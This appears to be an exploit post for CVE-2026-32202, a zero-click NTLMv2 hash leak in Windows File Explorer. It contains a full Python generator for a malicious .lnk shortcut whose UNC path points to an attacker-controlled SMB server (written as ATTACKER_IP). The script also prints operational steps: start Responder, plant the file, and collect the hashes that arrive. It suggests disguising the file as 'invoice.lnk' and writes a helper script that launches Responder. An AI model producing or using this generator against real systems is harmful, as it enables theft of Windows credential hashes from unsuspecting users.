# Titles: Microsoft - NTLMv2 Hash Capture
# Author: nu11secur1ty
# Date: 2026-05-27
# Vendor: Microsoft
# Software: Windows Shell (File Explorer)
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-32202

## Description:
A spoofing vulnerability in Windows Shell (File Explorer) allows an
attacker to capture NTLMv2 hashes without user interaction. By crafting a
malicious .lnk (shortcut) file with a UNC path pointing to an
attacker-controlled SMB server, the target's Windows system automatically
sends an NTLMv2 authentication request when the folder containing the .lnk
file is opened. No click on the shortcut is required – simply viewing the
folder triggers the vulnerability.

**CVSS**: 4.3 (Medium) – NetNTLMv2 hash leak
**Attack Vector**: Network (SMB)
**Privileges Required**: None (user only needs to open a folder)
**User Interaction**: None (zero-click)

**Affected Versions**:
- Windows 11 23H2, 24H2, 25H2, 26H1
- Windows 10 21H2-22H2
- Windows Server 2019/2022/2025

**Patch**: Microsoft April 2026 Patch Tuesday (KB2026-04214)

STATUS: MEDIUM - HIGH/ Vulnerability

[+]Payload:

```POST
SMB/CIFS NTLMv2 Authentication Request
UNC Path: \\ATTACKER_IP\share\payload.dll
Protocol: SMB2 (port 445)
Hash Type: NetNTLMv2
```
[+]Exploit:

```
#!/usr/bin/env python3
"""
CVE-2026-32202 LNK Exploit Generator
Author: nu11secur1ty
Generates LNK file that leaks NTLM hash to Responder/Impacket
"""

import struct
import sys
import os

def create_malicious_lnk(attacker_ip, output_file="exploit.lnk",
share_name="share"):
    """
    Creates LNK file with UNC path to attacker machine
    """

    unc_path = f"\\\\{attacker_ip}\\{share_name}\\test"
    unc_utf16 = unc_path.encode('utf-16le') + b'\x00\x00'

    # LNK structure (standard + vulnerable component)
    lnk = bytearray()

    # ===== HEADER (76 bytes) =====
    lnk.extend(struct.pack('<I', 0x0000004C))  # HeaderSize
    # LinkCLSID: {00021401-0000-0000-C000-000000000046}

lnk.extend(b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46')
    lnk.extend(struct.pack('<I', 0x000002A3))  # LinkFlags
(HasName|HasWorkingDir|HasArguments|IsUnicode)
    lnk.extend(struct.pack('<I', 0x00000080))  # FileAttributes (NORMAL)
    lnk.extend(struct.pack('<Q', 0))           # CreationTime
    lnk.extend(struct.pack('<Q', 0))           # AccessTime
    lnk.extend(struct.pack('<Q', 0))           # WriteTime
    lnk.extend(struct.pack('<I', 0x00001000))  # FileSize
    lnk.extend(struct.pack('<I', 0x00000000))  # IconIndex
    lnk.extend(struct.pack('<I', 0x00000001))  # ShowCommand (SW_NORMAL)
    lnk.extend(struct.pack('<H', 0x0000))      # Hotkey
    lnk.extend(b'\x00\x00')                    # Reserved
    lnk.extend(b'\x00\x00\x00\x00')            # Reserved2
    lnk.extend(b'\x00\x00\x00\x00')            # Reserved3

    # ===== IDLIST (activates when folder is opened) =====
    # Shell Folder IDITEM
    lnk.extend(b'\x14\x00')                    # ItemID size (20 bytes)

lnk.extend(b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
    lnk.extend(b'\x00\x00')                    # Terminating ID

    # ===== STRING DATA (CRITICAL FOR EXPLOIT) =====
    # NameString (UNC path - triggers NTLM hash leak)
    lnk.extend(struct.pack('<H', len(unc_utf16)))
    lnk.extend(unc_utf16)

    # ArgumentsString (empty)
    lnk.extend(b'\x00\x00')

    # WorkingDir (UNC path again)
    lnk.extend(struct.pack('<H', len(unc_utf16)))
    lnk.extend(unc_utf16)

    # ===== Console Properties (required for some Windows versions) =====
    lnk.extend(b'\x50\x00\x14\x00')           # dwWindowSize (80x20)
    lnk.extend(b'\x50\x00\xfa\x00')           # dwBufferSize (80x250)
    lnk.extend(b'\x00\x00\x00\x00')           # dwFontSize
    lnk.extend(b'\x00\x00\x00\x00')           # dwFontFamily
    lnk.extend(b'\x00\x00\x00\x00')           # dwFaceNameLen
    lnk.extend(b'\x00\x00\x00\x00')           # dwFaceNameOffset
    lnk.extend(b'\x00\x00\x00\x00')           # dwStyle
    # 64 bytes padding
    lnk.extend(b'\x00' * 64)

    # Save the file
    with open(output_file, 'wb') as f:
        f.write(lnk)

    return output_file, unc_path

def main():
    print(r"""
    ╔═══════════════════════════════════════════╗
    ║  CVE-2026-32202 - LNK Generator           ║
    ║  Author: nu11secur1ty                     ║
    ╚═══════════════════════════════════════════╝
    """)

    if len(sys.argv) < 2:
        print("Usage: python3 cve_2026_32202_gen.py <ATTACKER_IP>
[output_file]")
        print("Example: python3 cve_2026_32202_gen.py 192.168.1.100
invoice.lnk")
        sys.exit(1)

    attacker_ip = sys.argv[1]
    output_file = sys.argv[2] if len(sys.argv) > 2 else "exploit.lnk"

    lnk_file, unc_path = create_malicious_lnk(attacker_ip, output_file)

    print(f"[+] Exploit ready!")
    print(f"[+] File: {lnk_file}")
    print(f"[+] UNC path: {unc_path}")
    print()
    print("[*] Next steps:")
    print(f"    1. Start Responder: sudo responder -I eth0 -v")
    print(f"    2. Transfer {lnk_file} to Windows 11 Desktop")
    print(f"    3. Open Desktop in File Explorer (no click required)")
    print(f"    4. Watch Responder - NTLM hash will appear")
    print()

    with open("start_responder.sh", "w") as f:
        f.write("#!/bin/bash\n")
        f.write("echo \"[+] Starting Responder...\"\n")
        f.write("sudo responder -I eth0 -v\n")
    os.chmod("start_responder.sh", 0o755)
    print("[+] Helper script created: start_responder.sh")

if __name__ == "__main__":
    main()
```


Demo:
[href](https://www.patreon.com/posts/cve-2026-32202-159362448)

Code:
[code](
https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-32202)

Time spent:
02:30:00

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